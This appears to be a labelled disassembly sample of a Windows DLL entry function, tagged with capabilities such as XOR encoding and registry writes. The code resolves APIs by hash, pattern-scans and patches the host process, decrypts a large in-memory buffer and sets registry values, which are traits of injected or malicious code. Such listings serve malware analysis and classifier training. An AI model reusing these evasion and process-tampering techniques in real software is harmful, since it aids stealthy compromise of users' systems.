Function at 0x10013f90
Capabilities:
Check os version
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100202b0
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x100147f6
push 0x1f24ae8b
lea ecx, [ebp - 0x64]
call fcn.10019400
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
push 0x5cc7b1db
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x64], xmm0
mov esi, eax
mov byte [ebp - 0x5a], 0
call fcn.10019490
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
call eax
push 0x94
lea eax, [ebp - 0xf8]
mov dword [0x10188714], edi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xf8], 0x94
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xf4], 6
ja 0x1001406c
cmp dword [ebp - 0xf0], 1
ja 0x1001406c
mov byte [0x101888a0], 1
jmp 0x10014077
mov ecx, dword [0x10188714]
call fcn.10004270
push 7
mov edx, 0x10013980
mov byte [0x10188b51], 5
mov ecx, 0x5b5607
call fcn.10003fe0
push 0xff
push 0x1b
lea edx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xffffffa1
mov ecx, 0x400000
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x30], 0xffff8b32
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0x78ffffff
mov dword [ebp - 0x24], 0x8bffff89
mov word [ebp - 0x20], 0x8ff
mov byte [ebp - 0x1e], 0x51
call fcn.10004040
add esp, 0xc
test eax, eax
je 0x100144a4
mov eax, dword [eax + 1]
lea edx, [ebp - 0x40]
push 0xff
push 0x21
mov ecx, 0x400000
mov dword [0x10188b80], eax
mov dword [ebp - 0x40], 0xffffffa1
mov dword [ebp - 0x3c], 0xffff89ff
mov dword [ebp - 0x38], 0x83ffffff
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x30], 0xffff02ff
mov dword [ebp - 0x2c], 0xffffff83
mov dword [ebp - 0x28], 0x7404ffff
mov dword [ebp - 0x24], 0x6affebff
mov byte [ebp - 0x20], 0
call fcn.10004040
add esp, 8
mov dword [0x10188b84], eax
test eax, eax
je 0x10014150
mov eax, dword [eax + 1]
mov dword [0x10188b84], eax
jmp 0x10014194
mov edx, 0xba
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10022d18]
xor al, dl
mov byte [ebp + ecx - 0x2c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10014160
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x1d], 0
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0xc
call fcn.10004320
push 0xff
push 0x11
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], 0xffffff66
mov ecx, 0x400000
mov dword [ebp - 0x2c], 0xff66ffff
mov dword [ebp - 0x28], 0xff8b24ff
mov dword [ebp - 0x24], 0xffffffff
mov byte [ebp - 0x20], 0x51
call fcn.10004040
add esp, 8
mov dword [0x10188ba4], eax
test eax, eax
je 0x100141de
mov eax, dword [eax + 2]
mov dword [0x10188ba4], eax
jmp 0x10014206
mov eax, 0x10022d28
lea ecx, [ebp - 0x1c]
sub eax, 0x575d72e6
push eax
call fcn.10019510
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0xc
call fcn.10004320
push 0xfe
push 0xb
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xfefefe83
mov ecx, 0x400000
mov dword [ebp - 0x18], 0x74fffefe
mov word [ebp - 0x14], 0x6afe
mov byte [ebp - 0x12], 0x1a
call fcn.10004040
add esp, 8
mov dword [0x10188b88], eax
test eax, eax
je 0x10014248
mov eax, dword [eax + 2]
mov dword [0x10188b88], eax
jmp 0x10014282
mov edx, 0xde
xor ecx, ecx
nop
mov al, byte [ecx + 0x10022d30]
xor al, dl
mov byte [ebp + ecx - 0x38], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10014250
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0
call fcn.100043d0
mov dword [ebp - 4], 0xffffffff
push 0xff
push 0x17
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x8e68
mov ecx, 0x400000
mov dword [ebp - 0x30], 0xc16800
mov dword [ebp - 0x2c], 0xff8d0000
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], 0xffffffe8
mov word [ebp - 0x20], 0x6aff
mov byte [ebp - 0x1e], 2
call fcn.10004040
mov esi, eax
add esp, 8
test esi, esi
je 0x10014467
push 0xff
push 0x1b
lea edx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xffffffa1
mov ecx, 0x400000
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x30], 0xffff8b32
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0x78ffffff
mov dword [ebp - 0x24], 0x8bffff89
mov word [ebp - 0x20], 0x8ff
mov byte [ebp - 0x1e], 0x51
call fcn.10004040
add esp, 8
mov dword [0x10188870], eax
test eax, eax
je 0x1001432e
mov eax, dword [eax + 0xb]
mov dword [0x10188870], eax
jmp 0x10014372
mov edx, 0x67
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.4__58]
xor al, dl
mov byte [ebp + ecx - 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10014340
mov byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 1
call fcn.100043d0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [esi + 0x48]
add edx, 0x4c
add edx, esi
mov dword [0x1018844c], edx
mov edi, dword [edx + 0xb]
add edi, 0xf
add edi, edx
lea ecx, [edi + 0x2d]
mov dword [0x101885bc], edi
mov dword [0x10188444], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
mov dword [0x10188444], eax
mov esi, dword [edx + 0x26]
add esi, 0x2a
add esi, edx
lea ecx, [esi + 8]
mov dword [0x10188718], esi
mov dword [0x1004cd30], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [esi + 0x21]
mov dword [0x1004c62c], ecx
mov dword [0x1004cd30], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [esi + 0x3a]
mov dword [0x1006c038], ecx
mov dword [0x1004c62c], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [esi + 0x42]
mov dword [0x1006c038], eax
mov dword [0x1006c03c], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [esi + 0xc8]
mov dword [0x1006c03c], eax
mov dword [0x1004c628], ecx
mov eax, dword [ecx + 1]
add eax, 5
mov dword [0x10188894], 0x1000e3f0
add eax, ecx
mov dword [0x1004c628], eax
cmp byte [edx], 0x55
je 0x10014443
call fcn.10004320
mov edi, dword [0x101885bc]
mov esi, dword [0x10188718]
cmp byte [edi], 0x55
je 0x10014453
call fcn.10004320
mov esi, dword [0x10188718]
cmp byte [esi], 0x55
je 0x1001445d
call fcn.10004320
call fcn.10013b20
jmp 0x100144e4
mov edx, 0x72
xor ecx, ecx
nop
mov al, byte [ecx + 0x10022d60]
xor al, dl
mov byte [ebp + ecx - 0x38], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x10014470
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 2
call fcn.100043d0
mov dword [ebp - 4], 0xffffffff
jmp 0x100144e4
mov edx, 0x82
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022d7c]
xor al, dl
mov byte [ebp + ecx - 0x2c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x100144b0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x1d], 0
push eax
push 0
push 0x10186d68
call fcn.100050a0
add esp, 0xc
call fcn.10004320
push 0xff
push 0x1e
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0xffffffe8
mov ecx, 0x400000
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x34], 0xd9ffffff
mov dword [ebp - 0x30], 0xc4eb0458
mov dword [ebp - 0x2c], 0xdcffffd9
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], 0x9768ff
mov word [ebp - 0x20], 0
call fcn.10004040
add esp, 8
test eax, eax
je 0x10014553
mov dword [0x1018886c], eax
mov ecx, dword [eax + 1]
add ecx, 5
add ecx, eax
add eax, 0xe
mov dword [0x1018886c], ecx
mov dword [0x10188724], eax
jmp 0x1001458b
mov edx, 0x60
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.32T___v]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1f
jb 0x10014560
mov byte [ebp - 0x1d], 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 3
call fcn.100043d0
push 0xff
push 0x30
lea edx, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0xffe8c88b
mov ecx, 0x400000
mov dword [ebp - 0x48], 0xe8ffffff
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x40], 0xffffffe8
mov dword [ebp - 0x3c], 0xffffe8ff
mov dword [ebp - 0x38], 0xffe8ffff
mov dword [ebp - 0x34], 0xe8ffffff
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x2c], 0xffffffe8
mov dword [ebp - 0x28], 0xffffe8ff
mov dword [ebp - 0x24], 0x1b0ffff
mov dword [ebp - 0x20], 0xc35de58b
call fcn.10004040
add esp, 8
mov dword [0x101886e4], eax
test eax, eax
je 0x1001462f
lea ecx, [eax + 0x20]
mov edx, 0x1000d7b0
mov dword [0x101886dc], ecx
lea ecx, [eax + 0x1b]
mov dword [0x1018845c], ecx
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
push 5
mov dword [0x1018845c], eax
call fcn.10003fe0
add esp, 4
jmp 0x10014634
call fcn.10004320
sub esp, 8
mov dword [0x101886e4], 0
push 0
push 0x1000f5f0
call fcn.10004160
sub esp, 8
push 0
push 0x10012b60
call fcn.10004160
push 0x9212b7
push 0
push 0x10188de0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x9212b7
push 0x10188de0
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmm1, xmmword [0x10022f90]
mov eax, 0x10188df0
movaps xmm2, xmmword [0x10023080]
mov edx, 0x49095
mov ecx, 0x9212a0
nop dword [eax + eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x100146b0
nop dword [eax + eax]
mov al, byte [ecx + 0x10188de0]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10188de0], al
inc ecx
cmp ecx, 0x9212b7
jb 0x100146f0
mov dword [ebp - 0x100], 0
mov edx, 6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x58], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10014720
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 0x1d], 0
push eax
push connect
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x100]
push 4
push eax
push 4
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x75526f4e
push eax
push dword [ebp - 0xfc]
mov word [ebp - 0x14], 0x6e
call edi
push dword [ebp - 0xfc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x10021e44]
xor al, dl
mov byte [ebp + ecx - 0x48], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10014793
lea eax, [ebp - 0xfc]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x48]
push eax
push connect
call esi
mov eax, 0x10021e70
lea ecx, [ebp - 0x28]
sub eax, 0x38d41ae2
push eax
call fcn.10018a40
push 4
lea ecx, [ebp - 0x100]
push ecx
push 4
push 0
push eax
push dword [ebp - 0xfc]
call edi
push dword [ebp - 0xfc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 0xc